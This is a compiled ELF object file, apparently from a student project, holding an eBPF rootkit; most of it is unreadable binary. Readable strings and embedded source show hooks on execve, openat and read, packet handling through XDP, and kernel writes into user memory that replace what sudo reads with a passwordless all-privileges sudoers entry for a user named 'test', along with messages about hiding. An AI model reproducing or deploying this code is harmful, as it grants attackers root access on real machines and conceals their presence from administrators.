src/.output/kit.o

ELF>h @@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辐<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u	H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>AH<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F><>H<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@H<>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u5H<35>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00>EH<45>E<EFBFBD><45><EFBFBD><00><>t6H<36>E<EFBFBD><45><EFBFBD><00><>t'H<>E<EFBFBD><45><EFBFBD><00><>tH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00><00><00><01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<>MЋE<D08B>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>E<EFBFBD><45>}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5j<35><6A><EFBFBD><EFBFBD><00>H<>5Y<35><59><EFBFBD><EFBFBD><00><00><0E><><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00>4H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>E<EFBFBD><45>}<7D>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00><><00><01><00>E<EFBFBD><45><00><01>H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u)<29>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00>@H<>=<00><00>#H<>E<EFBFBD><45>dH<><48><EFBFBD><00>E<EFBFBD><45>}<7D><>u	<09>E<EFBFBD><00><0F><00><><01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openkit_bpf.rodatahandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execvexdp_receiveELF<00>H<>@@<00><00><00>U<00><00>$yy<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00>	<00><><EFBFBD><EFBFBD><07>yv<06>ar<00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00>#k<1A><>SWD:ALL {<1A><>L) NOPAS{<1A><>=(ALL:AL{<1A><>test ALL{<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p	<00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c	<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00><00>y<><79><EFBFBD><00>d<00><00>s <00><00><00><00><00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00>	m	<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>!<00>$e<00><><EFBFBD><EFBFBD><00><00><00><00><00><00><00>	<00><><00><00><00><00><><00><00><00>{z<><7A><00>	{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m	)s<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>y<><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>
<00>p{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>w cz<63><7A><00><><00><><EFBFBD><EFBFBD><EFBFBD>
<00>c<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s<00>cj<63><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00>`<00>q<><71><EFBFBD>U<01><>uq<><71><EFBFBD>U<01><>dq<><71><EFBFBD>U<01><>oq<><71><EFBFBD>U<01><>q<><71><EFBFBD>/<00><>q<><71><EFBFBD>U<01><>eq<><71><EFBFBD>U<01><>tq<><71><EFBFBD>U<01><>cq<><71><EFBFBD>U<01><>/q<><71><EFBFBD>U<01><>sq<><71><EFBFBD>U<01><>uq<><71><EFBFBD>U<01><>dq<><71><EFBFBD>U<01><>oq<><71><EFBFBD>U<01><>eq<><71><EFBFBD>U<01><>rq<><71><EFBFBD>U<01><>sq<><71><EFBFBD>U<01><><00>c<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><00><00><><00><00><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60><00><><EFBFBD><EFBFBD><06>yc<03><00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>'<00><00>yc<00><>`<60><><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>8<00><00>y<><79><EFBFBD>I<00><00>y<><79><EFBFBD>T<00><00>y<><79><EFBFBD>_<00><00><00><>`<60><><EFBFBD>j<00><00>x<00><00><00>s<>_<EFBFBD>s<>^<5E><00>ks]<5D><00>as[<5B><00>jsZ<><00>isY<><00>_sW<><00>vsU<><00>psL<><00>lsK<><00>cs\<5C>sT<>sG<><00>rsN<>sF<><00>GsC<><00>FsB<><00>TsA<><00>xsR<>s=<3D><00>bs;<3B><00>ssO<>sE<>s?<3F>s:<3A><00>esV<>sS<>sQ<>sM<>sJ<>s><3E>s7<><00>ms6<><00>os<<3C>s9<>s5<><00>hsX<>sI<>s4<><00>/sP<>sH<>sD<>s@<40>s8<>s3<><00><>3<><33><EFBFBD><00><00><00>s<00>ya<00>r<00>-<00>$e<00><><EFBFBD><EFBFBD><00><00>!<00><00><00><><EFBFBD><EFBFBD>{<7B>(<28>{<7B> <20>{<7B><18>{<7B><10>{<7B><08>{<7B><00>{<7B><><EFBFBD>{<7B><><EFBFBD>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>aeag<00>y	=<3D><00><00>x"=<3D>q<>	U<00>q6=<00><00><00><00>i<>#(i<><00><00><00><00><>i<><00>i<>wW<q<>gW<#<00><>	$<00><00><00><><00>A	=;<00><>{Z<><5A>=<00>6<00>C{J<><4A><00>	<00>y<><79><EFBFBD>qAXs<00><>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0
girO!irk*<2A><>c<1A><>iqgirO!irisgO#g O{:<3A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><><00>a<00><00>A
<00><00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>)	"aa{*<2A><>{*<2A><>=!		=<3D>/y<><79><EFBFBD>6=!VU<00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00><00><00>Gy<><79><EFBFBD><00><00>	aa{<1A><>ahy<><79><EFBFBD>= <00><00><00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD><00>)<00><<00><00><><00><><00>ac[<00>*<00><><00>;<3B>y<><79><EFBFBD>=<00><00><>='<00>y<><79><EFBFBD>i#<00>i<>wW<q"gW<#{:<3A><><00>2g w <00>9[-#fM<00><19>i<><69><EFBFBD>y<><79><EFBFBD>ka<><61><EFBFBD>kwk
y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ci<>
i<>{<00><00>i<><00><00>k<00><00>{<1A><>k(
<00><00>*<00><00><><00><00><00><00><00><><00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
i#i$
<00><00><00><00>P<><00><>'=lwy<><79><EFBFBD>g w <00><>-<2D>o<00>s&s%s$s#s"s!s sssssssssssssssssss
sss
s	sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms
<00>sssss<00>us
<00>os	<00>iss<00>vs<00>rs<00>ps<00> s$sssss<00>es"ssssss<00>hsss<00>Ts<00><00>&7<><00><00>-<00><00><00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
Bound check fail ABDE %i
F, PS:%i, P:%i, DE:%i
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
 BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Error writing to user memory
Sudo overwritten
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Error writing to user memory
It was a sudo!
Error reading 1
Error reading 3
ARGV0: %s
ARGV1: %s
ARGV2: %s
FILENAME: %s
Our file!
To write: %s
Error writing to user memory %i
Error reading 3
NEW FILENAME: %s
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Dual BSD/GPLThat is now hiddentest ALL=(ALL:ALL) NOPASSWD:ALL #<00><><00><00>S+  %*@6
>D@[8hl@o`s<00><00><00><00><00><01><00> <00> %	*@<00>
<00><00><00><00><00><00><00>@o`<00><00><00>!<00>%o %4BF L
[_"%<00>(@%`l&<00>h<00>-'3@E&
[$L(+g@y,<00>}@
[*<00>-0`(@%`u<00><00><00>y1 ~
[/<00>25<00>(@%`<00><00><00>6<00><00>67
89

[4<00>:=krw <00>@<00>`<00><00><00><00>
[<<00>><00><00><00>A<04>A<04>A<00>B<00>B <00>B0<00>A@<00>AH<00>DPE`	E<00>C!C)<00><00><00>BBE 
E@C`CdCh Ci$Cj(Ck,Cl0Cm4Cn8Co<Bp<00>D<00>CB<00>9<00>%G
<00>%I9<00>%K9<00>%M<00>%M9<00>%P9
&R#&M969&UO&M9e&X9G{&Z9&<00>&\<00>&\<00>&\<00>&X<00>&\'\95'c2'\9)I'f`'X9*w'i9<00>'k9<00>'m9<00>'o9<00>'q9(s:(k](q9<00>(w<00>(w9<00>(z<00>(z)z9;)~a)z<00>)~9!<00>)<0E><00>)w<00>)m94*<0E>A*\f*\<00>*\9<00>*<0E><00>*s<00>*i9-+<0E>#+<0E>=+ C+1HLNOQS$T;V=6WsYu[<00>G]<00>&^&_'&`Mal&b<00>&d<00>5e<00>&g)h<j[*l<00>n<00>p<00>r<00>t<00>u<00>vx'y8{I|T}_j<00>x<00><00><00><00>!<00><00><00><00><00><00>4<00>	&<00>/&<00>U&<00>{<00><00><00><00>*<00><00>-<00>-K+J
int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_openkeyvaluetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h	pid_t pid = bpf_get_current_pid_tgid() >> 32;	return 0;sys_read_enter_ctxunused__syscall_nrpaddingcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h    if (ctx == NULL){        bpf_printk("Error\n");    char *buf = (char*) ctx->buf;     int fd = (int) ctx->fd;     __u64 pid_tgid = bpf_get_current_pid_tgid();    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (stored_data == NULL){    struct fs_open_data data = *stored_data;    data.fd = fd;    data.buf = buf;    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (data == NULL || data->buf == NULL){    __u32 pid = data->pid;    char msg_overwrite[] = STRING_FS_OVERWRITE;    char c_buf[sizeof(msg_overwrite)] = {0};    char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY;    if(data->is_sudo==1){        if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){    bpf_printk("Overwritting at pid %u, %s\n", pid, buf);    bpf_printk("Filename is %s\n", data->filename);    bpf_printk("and program name is %s\n", data->program_name);    if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1
p<00>y<00>
t<00>y<00>
|Py<00><0E>Xy<00><08>pyxy
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C><00>y
<0C>y
0<>(y
%<25>8y
<0C>Py
<0C>hy
0<>xy
%<25><00>y
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C><00>y
<0C>y
0<>y
%<25>(y
<0C>@y
<0C>Xy
0<>hy
%<25>xy
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C><00>y
<0C><00>y
0<>y
%<25>y
<0C>0y
<0C>Hy
0<>Xy
%<25>hy
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C><00>y
<0C><00>y
0<><00>y
%<25>y
<0C> y
<0C>8y
0<>Hy
%<25>Xy
<0C>py
<0C><00>y
0<><00>y
%<25><00>y
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C>y
<0C>(y
0<>8y
%<25>Hy
<0C>`y
<0C>xy
0<><00>y
%<25><00>y
<0C><00>y
<0C><00>y
0<><00>y
%<25><00>y
<0C>y
<0C>yBHy|xy<00><00>y<00>y<00><00>y<00><00>yR<01><00>yT<0C>yT<0C> y<00>
<0A>@y	<09>py*	 <00>;y<00><00>y<16>(y<00>
@@yHy	DxyN	d<00>y_	
t<00>y<00>	Lx<00>y_	
t<00>y<00>	x<00>y<00>	<19>y
<1A>y<00>	 <20>y<00>	<19> y+
<05>8y<00>	<19>Py_	
tXyt
<05>h<00>
<00>

pp<00>
<00>

p<00>y<00>yR<01><00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00>
<00>

p<00>
<00>

p<00>
<00>

p<00>
<00>

p <00>
<00>

p0<00>
<00>

p8<00>
<00>

p@<00>
<00>

pH<00>
<00>

pP<00>
<00>

pX<00>
<00>

p`<00>
<00>

ph<00>
<00>

pp<00>
<00>

px<00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00>y<12>(y4<05>Hyr<05><00>#<00>x<00>|<00>P<14>x<00><00><13><00><00><00><12><00><00><00><1A><00><00><00><08><00><00><00><08><00><00><08><00>%
	<09>(<00>N
=<3D>@<00>N
<08>P<00>N
<08>X<00><00>
	<09>x<00><00>
<05><00><00><00>
<05><00><00><05><00><00><00>
<05><00>9<05> <00>e<05>H<00><00> `<00><00>
<05>h<00><00>,<00><00><00>24<00><00><00>4<00><00>h8<00><00>w	<<00><00><00>L8<00><00>@PH<00><00>LP<00><00>P`<00><00>Ph<00><00>
	T<00><00>8\<00><00>R<01><00><00><00><00><00><00>)<29><00>Q%<25>{<00>0(<00><00>0<00>%	P{OL`<00>}	$h<00><00>	(<00>{4<10><00><00>N	8<00>{zh<00><00><00>	P<00><00><00>	T<00><00><00><00>R`<00>K<00>4<00><00><00>	d<00><00><00>	h <00> x0<00> 3x8<00> 8xH<00> +xP<00> DxX<00> Hxh<00> =xp<00>q|<00><00><00>	<09><00><00><00>	<09><00>{%<18><00><00>X	<09><00><00><00>	<09><00><00><00><05>(<00>
<00>

p0<00>
<00>

p8<00>	<09>P<00>
<00>

pX<00>
<00>

p`<00>
<00>

ph<00>
<00>

pp<00>
<00>

px<00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>
<00>

p<00><00>.<05><00>t<00><05><00>t<00><05><00>t<05>Ht\	<09>`t\	<09>ht<00>	<09><00>t<00>!<21><00>t!<1E><00>tV(<28><00>t<00><1E><00>t<00><08><00>t<00>	<09>t5	ti	0{zh@t<00>	 Ht<00>	$Xt<00><00><05><00><00><00><08><00><00><00>)<29><00><00><00>-<2D><00>{<00>0<00><00><0C><00><00>?
<00><00>	<09>(<00>P<00><00><1D>h<00><00><00><00>=<00><00><00><00>{OL<00><00>
<00>

 {zh0<00>O
@8<00><00>
DX<00><00>Th<00><00>7Tp<00><00><T<00><00><00>/T<00><00><00>HT<00><00><00>LT<00><00><00>AT<00><00>h<00><00>I
l<00>t<00>D<00>t<00>H<00>t L(	tP \X	t<00> `x	t<00> `<00>	t<00> h<00>	<00> =!<05><00>	<00> <00>!
<00> <00>!<12> 
<00> <00>!
<0A>8
<00> <00>!<12>P
<00> <00>!
<0A>h
<00> <00>!<12><00>
<00> <00>!
<0A><00>
<00> <00>!<12><00>
<00> <00>!
<0A><00>
t<00>!p<00>
t<00>!p<00>
t"t<00><00>T"><3E> <00>T"<0C>(<00><00>"
<0A>@{%<18>h<00><00>"
<0A>x<00>*#<19><00>tJ#$<24><00>t<00>#9<>
t<00>#*<2A>
t<00>#<08>
t4$<19><00><00>[$
<0A><00><00>t<00>$	<09> t<00>$	<09>0t@<00>'%	<09><00>==M<00>@0<00>F<00>F @0FmP@M<00>=M<00>=<00>=M<00>=<00>=X@hFm<00>@M(	@L 0	@X	@x	@<00>	@L <00>
@L <00>
@<00>
@L <00>0$P<00>X<00>p<00>;<00>z<00>x@<00><00>\<00><00><00><00>x<00>0<00><00><00><00>(<00>x<00><00><00><00> <00><00>T<00><00>8<PzP4<00>E<00>0hX<00><00>h@<00><00><00> 3P<00><00><00>8
h
<00><00>
